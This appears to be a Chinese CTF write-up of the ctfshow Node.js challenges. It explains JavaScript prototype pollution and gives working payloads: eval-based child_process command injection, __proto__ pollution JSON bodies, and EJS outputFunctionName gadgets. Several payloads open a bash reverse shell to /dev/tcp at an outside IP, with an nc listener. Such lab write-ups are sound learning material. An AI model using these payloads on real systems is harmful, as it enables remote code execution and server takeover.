前言:做原型链污染,入门的话个人建议先看看P神的文章,只看前四部分就行了。
深入理解 JavaScript Prototype 污染攻击 | 离别歌 (leavesongs.com)
然后也得有一点js基础,不用太多,要不然看起来属实费劲。
建议看一下《Javascript百炼成仙》,有点小贵,也可以直接看知识点整理
(6条消息) 《JavaScript百炼成仙》 全书知识点整理_剽悍一小兔的博客-CSDN博客
当然也可以硬吃菜鸟等教程。
本篇wp,在模板引擎污染并未解释原理,只打了一个payload,是的,我菜。不过确实一开始学就一步一步调试跟进代码去理解模板引擎污染太费时费力也不好理解,先理解基础的原型链污染,让时间帮自己沉淀一下再去细看更深的知识个人感觉是一个高效的方式。
Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器而不是某种库。
Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。
源码:
//login.js
var express = require('express'); //引入各个模块
var router = express.Router();
var users = require('../modules/user').items; //引入用户模块(user.js)
var findUser = function(name, password){ //定义函数
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
}); //如果name不等于CTFSHOW,并且将name都转为大写与item.name(CTFSHOW)相同,password=123456。则findUser返回true //toUpperCase()是javascript中将小写转换成大写的函数。
};
/* GET home page. */
router.post('/', function(req, res, next) { //POST请求的处理函数
res.type('html'); //设置响应(res)的内容类型为html
var flag='flag_here';
var sess = req.session;
var user = findUser(req.body.username, req.body.password);
if(user){
req.session.regenerate(function(err) {
if(err){
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
req.session.loginUser = user.username;
res.json({ret_code: 0, ret_msg: '登录成功',ret_flag:flag}); //登录成功返回flag
});
}else{
res.json({ret_code: 1, ret_msg: '账号或密码错误'});
}
});
module.exports = router; //通过module.exports将该路由模块导出,以便在其他文件中引入和使用
//user.js
module.exports = {
items: [
{username: 'CTFSHOW', password: '123456'}
]
};
//这段代码是一个模块文件,通过`module.exports`将一个对象导出。
//在这个模块中,导出的对象是一个包含一个属性`items`的对象。`items`属性是一个数组,包含了一个用户对象。这个用户对象有两个属性:`username`表示用户名为"CTFSHOW",`password`表示密码为"123456"。
//通过这种方式,其他文件可以引入该模块并访问`items`数组中的用户对象,用于验证用户的登录信息。
payload:
ctfshow
123456
没东西。查看源码。
知道从哪里下手了。
在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。
这题的代码可能是这样:
eval('console.log(xxx)')
Node.js中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。
?eval=require('child_process').execSync('ls')
?eval=require('child_process').execSync('cat f*')
?eval=require('child_process').execSync('ls').toString()
?eval=require('child_process').execSync('cat fl00g.txt').toString()
?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl00g.txt']).stdout.toString() //不能通配符
?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()
过滤了exec
,还有一个同步子进程的函数
require("child_process")['exe'%2B'cSync']('ls') //拼接绕过
?eval=require('child_process').spawnSync('ls').stdout.toString()
?eval=require('child_process').spawnSync('ls',['.']).stdout.toString()
?eval=require('child_process').spawnSync('ls',['./']).stdout.toString()
?eval=require('child_process').spawnSync('cat',['fl001g.txt']).stdout.toString() //不能通配符
?eval=global.process.mainModule.constructor._load('child_process').execSync('ls',['.']).toString()
别人的wp
传?eval=__filename可以看到路径为/app/routes/index.js
然后传?eval=require(‘fs’).readFileSync(’/app/routes/index.js’,‘utf-8’)可以发现过滤了exec和load //没实现
__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。
__dirname 表示当前执行脚本所在的目录。
?eval=require(‘fs’).readdirSync(‘.’) //ls
?eval=require(‘fs’).readFileSync(‘fl001g.txt’,‘utf-8’) //读取文件
Y4师傅博客里的一种绕过方法。
题目直接给了源码。
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag))要求我们传参a,b。然后a,b长度一样,然后a不等于b,然后两者加了flag的md5编码一样。
注意一下node.js中的拼接问题:
console.log(5+[6,6]); //56,6
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6
所有可能的payload:
?a[a]=x&b[b]=x
?a[a]=1&b[b]=2
?a[x]=1&b[x]=1
?a[x]=1&b[x]=2
?a[:]=1&b[:]=1
?a[:]=1&b[:]=2
a={'x':'1'}
b={'x':'2'}
console.log(a+"flag{xxx}")
console.log(b+"flag{xxx}")
二者得出的结果都是[object Object]flag{xxx},所以md5值也相同
这里只需要满足中括号里面是非数字就行,关于它们的值相不相同,长度一不一样都不重要
?a[]=x&b[]=x
数组传过去,req.query.a
到底得到的是什么。如果这样:a[]=1&b[]=2
:
得到的正好就是数组。这时候就相当于需要['1']+flag===['2']+flag
。是不成立的
?a[]=x&b=x
[‘a’]+flag= = =‘a’+flag,比如flag是flag{123},那么最后得到的都是aflag[123},因此这个也肯定成立:md5([‘a’]+flag)= = =md5(‘a’+flag),同时也满足a!==b
所以:像[‘a’]+flag= = =‘a’+flag这样的,比如flag是flag{345},那么最后得到的都是aflag[345},因此这个也肯定成立:md5([‘a’]+flag)= = =md5(‘a’+flag),同时也满足a!==b:
?a[0]=1&b[0]=1
?a[0]=1&b[0]=2 不行
但是如果传a[0]=1&b[0]=2,相当于创了个变量a=[1] b=[2],再像上面那样打印的时候,会打印出1flag{xxx}和2flag{xxx},md5不相等
这题是原型链污染,参考资料在edge收藏夹里面。
11111111111111111111111111111111111111111111111111111111111111111111111111111111111111111111
prototype
和__proto__
分别是什么?
function Foo() {
this.bar = 1
}
Foo.prototype.show = function show() {
console.log(this.bar)
}
let foo = new Foo()
foo.show()
(实例对象)foo.__proto__ == (类)Foo.prototype
prototype
是一个类的属性,所有类对象在实例化的时候将会拥有prototype
中的属性和方法__proto__
属性,指向这个对象所在的类的prototype
属性22222222222222222222222222222222222222222222222222222222222222222222222222222222222222222222
JavaScript原型链继承
所有类对象在实例化的时候将会拥有prototype
中的属性和方法,这个特性被用来实现JavaScript中的继承机制。
function Father() {
this.first_name = 'Donald'
this.last_name = 'Trump'
}
function Son() {
this.first_name = 'Melania'
}
Son.prototype = new Father() //继承
let son = new Son()
console.log(`Name: ${son.first_name} ${son.last_name}`)
Son类继承了Father类的last_name
属性,最后输出的是Name: Melania Trump
。
总结一下,对于对象son,在调用son.last_name
的时候,实际上JavaScript引擎会进行如下操作:【很重要】
son.__proto__
中寻找last_nameson.__proto__.__proto__
中寻找last_namenull
结束。比如,Object.prototype
的__proto__
就是null
JavaScript的这个查找的机制,被运用在面向对象的继承中,被称作prototype继承链。
以上就是最基础的JavaScript面向对象编程,我们并不深入研究更细节的内容,只要牢记以下几点即可:
1.每个构造函数(constructor)都有一个原型对象(prototype)
2.对象的__proto__
属性,指向类的原型对象prototype
3.JavaScript使用prototype链实现继承机制
333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333333
原型链污染是什么
前面说到,foo.__proto__
指向的是Foo
类的prototype
。那么,如果我们修改了foo.__proto__
中的值,是不是就可以修改Foo类呢?
做个简单的实验:
// foo是一个简单的JavaScript对象
let foo = {bar: 1}
// foo.bar 此时为1
console.log(foo.bar)
// 修改foo的原型(即Object)
foo.__proto__.bar = 2
// 由于查找顺序的原因,foo.bar仍然是1(在对象foo中寻找bar,能找到)
console.log(foo.bar)
// 此时再用Object创建一个空的zoo对象
let zoo = {}
// 查看zoo.bar,返回2。(在对象zoo中寻找bar,找不到,则在zoo.__proto__即Object里面找,能找到)
console.log(zoo.bar)
最后,虽然zoo是一个空对象{}
,但zoo.bar
的结果居然是2:
原因也显而易见:因为前面我们修改了foo的原型foo.__proto__.bar = 2
,而foo是一个Object类的实例,所以实际上是修改了Object这个类,给这个类增加了一个属性bar,值为2。
后来,我们又用Object类创建了一个zoo对象let zoo = {}
,zoo对象自然也有一个bar属性了。
那么,在一个应用中,如果攻击者控制并修改了一个对象的原型,那么将可以影响所有和这个对象来自同一个类、父祖类的对象。这种攻击方式就是原型链污染。
4444444444444444444444444444444444444444444444444444444444444444444444444444444444444444444
哪些情况下原型链会被污染?
在实际应用中,哪些情况下可能存在原型链能被攻击者修改的情况呢?
我们思考一下,哪些情况下我们可以设置__proto__
的值呢?其实找找能够控制数组(对象)的“键名”的操作即可:
以对象merge为例,我们想象一个简单的merge函数:
//函数接受两个参数:`target` 表示目标对象,`source` 表示源对象。
function merge(target, source) {
for (let key in source) {
//对于每个属性 `key`,首先检查该属性是否同时存在于源对象和目标对象中。
if (key in source && key in target) {
//如果该属性同时存在于源对象和目标对象中,表示需要进一步合并它们的值。这里通过递归调用 `merge` 函数来实现,传入对应的目标属性和源属性作为参数。
merge(target[key], source[key])
} else {
//若该属性只存在于源对象中,或者只存在于目标对象中,直接将源对象的属性值赋给目标对象的对应属性。
target[key] = source[key]
}
}
}
//通过这个 `merge` 函数,可以将源对象中的属性合并到目标对象中,如果属性名称在目标对象中已存在,则进行深度合并。这对于合并两个对象的属性非常有用,特别是在处理嵌套对象的情况下。
在合并的过程中,存在赋值的操作target[key] = source[key]
,那么,这个key如果是__proto__
,是不是就可以原型链污染呢?
我们用如下代码实验一下:
let o1 = {}
let o2 = {a: 1, "__proto__": {b: 2}}
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
结果是,合并虽然成功了,但原型链没有被污染:
这是因为,我们用JavaScript创建o2的过程(let o2 = {a: 1, "__proto__": {b: 2}}
)中,__proto__
已经代表o2的原型了,此时遍历o2的所有键名,你拿到的是[a, b]
,__proto__
并不是一个key,自然也不会修改Object的原型。
那么,如何让__proto__
被认为是一个键名呢?
我们将代码改成如下:
let o1 = {}
let o2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}')
merge(o1, o2)
console.log(o1.a, o1.b)
o3 = {}
console.log(o3.b)
可见,新建的o3对象,也存在b属性,说明Object已经被污染:
这是因为,JSON解析的情况下,__proto__
会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历o2的时候会存在这个键。
merge操作是最常见可能控制键名的操作,也最能被原型链攻击,很多常见的库都存在这个问题。
看看题目
和334一样的界面。
核心源码
common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common'); //导入common文件模块
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
这里的copy()很像merge(),一眼原型链污染。
思路:
可以看到,如果secert.ctfshow==='36dboy'
那我就能得到flag。secert类为空,直接继承了Object类,user也是。所以secert类中没有ctfshow,我们可以通过user污染Object类,在Object类里面加一个ctfshow。判断secert.ctfshow==='36dboy'
时,找不到ctfshow,会从Object里面找。
参考上面P神给的payload:{"a": 1, "__proto__": {"b": 2}}
我们根据此题把payload修改为{"a": 1, "__proto__": {"ctfshow": "36dboy"}}
抓个包先,直接登录框输入不行
把参数修改为我的payload,得到flag。
源码直接给了
app.js
// 导入所需模块
var createError = require('http-errors'); // 处理 HTTP 错误的模块
var express = require('express'); // Express 框架模块
var ejs = require('ejs'); // EJS 模板引擎模块
var path = require('path'); // 路径处理模块
var cookieParser = require('cookie-parser'); // 解析 Cookie 的模块
var logger = require('morgan'); // HTTP 请求日志记录模块
var session = require('express-session'); // Express 会话管理模块
var FileStore = require('session-file-store')(session); // 会话存储模块
// 导入路由模块
var indexRouter = require('./routes/index'); // 主页路由模块
var loginRouter = require('./routes/login'); // 登录路由模块
var apiRouter = require('./routes/api'); // API 路由模块
var app = express(); // 创建 Express 应用程序实例
// 会话设置
var identityKey = 'auth'; // 会话标识键名
app.use(session({
name: identityKey, // 设置会话名称
secret: 'ctfshow_session_secret', // 会话密钥,用于加密会话数据
store: new FileStore(), // 会话存储方式为文件存储
saveUninitialized: false, // 不保存未初始化的会话
resave: false, // 不强制保存会话
cookie: {
maxAge: 60 * 60 * 1000 // 会话有效期,单位是毫秒
}
}));
// 视图引擎设置
app.set('views', path.join(__dirname, 'views')); // 设置视图文件夹路径
app.engine('html', require('ejs').__express); // 使用 EJS 模板引擎
app.set('view engine', 'html'); // 设置视图引擎为 EJS
app.use(logger('dev')); // 使用日志记录中间件
app.use(express.json()); // 解析请求体中的 JSON 数据
app.use(express.urlencoded({ extended: false })); // 解析请求体中的 URL 编码数据
app.use(cookieParser()); // 使用 Cookie 解析中间件
app.use(express.static(path.join(__dirname, 'public'))); // 设置静态资源目录
app.use('/', indexRouter); // 使用主页路由
app.use('/login', loginRouter); // 使用登录路由
app.use('/api',apiRouter); // 使用 API 路由
// 捕获 404 错误并转发到错误处理程序
app.use(function(req, res, next) {
next(createError(404));
});
// 错误处理程序
app.use(function(err, req, res, next) {
// 设置本地变量,仅在开发环境下提供错误信息
res.locals.message = err.message;
res.locals.error = req.app.get('env') === 'development' ? err : {};
// 渲染错误页面
res.status(err.status || 500);
res.render('error');
});
module.exports = app; // 导出应用程序实例
common.js
module.exports = {
copy:copy
};
//类似于merge函数,存在原型链污染漏洞
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
api.js(关键代码)
//使用 Express 框架的路由文件
//在这部分代码中,首先引入了 express 模块,然后创建了一个路由对象 router。
var express = require('express');
var router = express.Router();
//引入了一个名为 utils(var utils) 的自定义工具模块。
var utils = require('../utils/common');
/* GET home page. */
//通过 router.post() 方法定义了一个 POST 请求的处理函数,路径为 '/'。
router.post('/', require('body-parser').json(),function(req, res, next) {
//通过 res.type('html') 设置响应的内容类型为 HTML。
res.type('html');
//然后,通过 res.render() 方法渲染名为 'api' 的视图模板,并传递一个包含 query 属性的对象作为参数。这里使用了 Function(query) 来创建一个函数,并立即调用该函数并传递 query 作为参数。这样做可能是为了在视图模板中使用 query 变量。
res.render('api', { query: Function(query)(query)}); //函数名query,参数query
});
//通过 module.exports 将 router 对象导出,以便在其他文件中引入和使用。
module.exports = router;
index.js
var express = require('express');
var router = express.Router();
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
res.render('index', { title: 'Express' });
});
module.exports = router;
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow===flag){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
和上一题的区别在于,上一题判断语句是if(secert.ctfshow= = =‘36dboy’),这题是if(secert.ctfshow= = =flag),但是变量flag的值我们不知道,所以不能使用上一题的payload污染原型修改secert.ctfshow。
通过 login.js
里的 utils.copy(user,req.body);
污染原型,然后访问 api 的时候由于 query
未定义,所以会向其原型找,那么通过污染原型构造恶意代码即可rce。
因为所有变量的最顶层都是object,当前环境没有y4tacker,它会直接去寻找Object对象的属性当中是否有y4tacker这个键值对是否存在
原型污染以后 login.js
就不能正常运行了,所以payload使用反弹shell。
payload:(抓包改包)
监听9023端口nc -lvvp 9023
{"__proto__":{"query":"return process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"')"}}
或者
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"')"}}
先在/login
页面POST一下进行变量覆盖,再在/api
界面直接POST访问即可
非预期:
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"');var __tmp2"}}
//接着post访问api.js就可以反弹shell了
我们做题时,如果污染错了,要及时重开环境。 一旦污染了原型链,除非整个程序重启,否则所有的对象都会被污染与影响。这将导致一些正常的业务出现bug。
具体原理请看:
https://yq1ng.github.io/2020/12/31/ctfshow-nodejs-zhuan-ti/#web339
源码都给了,这次只放和上题不一样的部分。
login.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
//user.userinfo.isAdmin原本就存在,不会向上找,修改Object.isAdmin无用
if(user.userinfo.isAdmin){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
user.userinfo.isAdmin原本就存在,不会向上找,修改Object.isAdmin无用。
就算我们污染了,代码中应该是这样的。
if(user.userinfo.isAdmin)语句判断
user.userinfo对象有isAdmin属性,值是false。
就不会去上层user对象寻找isAdmin属性
因为子类不能污染父类已经存在的属性,只能新增属性。
所以不能满足if语句。
上一题从secert对象进行污染,secert对象上一级就是object,所以污染一次就行了。
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"');var __tmp2"}}
这一题从userinfo对象进行污染,userinfo对象上一级是user对象,user对象上一级就是object,所以需要污染两次。
payload:
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"')"}}}
记得POST发包调成json格式。
环境变量中找到flag
先下一个叫snyk的工具
进kali,sudo su
进入root用户
apt install npm
下载npm
sudo npm install -g snyk
安装snyk
snyk auth
进行授权,会自动跳转到一个网页,我选的是github授权。
如果github上不去的话,物理机上面科学上网开个全局就行了,这样虚拟机也能用。
snyk test
测试一下snyk能不能用了
snyk --help
查看snyk常用命令,结束!
参考博客:(4条消息) Snyk 依赖性安全漏洞扫描工具_易爻64的博客-CSDN博客
接下来继续做题。
先把源码下载下来。
cd进源码目录,snyk test
使用snyk进行漏洞扫描
可以发现这题确实存在ejs模板引擎漏洞。
payload直接打了:(记得POST包发json格式)
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"');var __tmp2"}}}
随便访问页面就能监听到。
环境变量找到flag
payload:(json)
{"__proto__":{"__proto__": {"type":"Code","compileDebug":true,"self":true,"line":"0, \"\" ));return global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"');//"}}}
{"__proto__":{"__proto__": {"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/120.46.41.173/9023 0>&1\"')"}}}
还是一样去环境变量里面找。
题目描述说342基础上增加了过滤
但是payload还是不变,同342。
直接给了源码。
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true)
进行了判断,满足条件就返回flag。
var query = JSON.parse(req.query.query)
表示query对象是由get请求传入的json字符串
所以我们的payload应该是:
?query={"name":"admin","password":"ctfshow","isVIP":true}
但是题目过滤了逗号和2c(%2c是逗号的url编码),所以我们用&替换逗号。Nodejs中会把这三部分拼接起来。
?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
但是传入payload之后却没有回显flag
因为双引号的url编码是%22再和c连接起来就是%22c,会匹配到正则表达式。
所以我们传入的时候,把payload中的c手动url编码一次。
payload:
?query={"name":"admin"&query="password":"%63tfshow"&query="isVIP":true}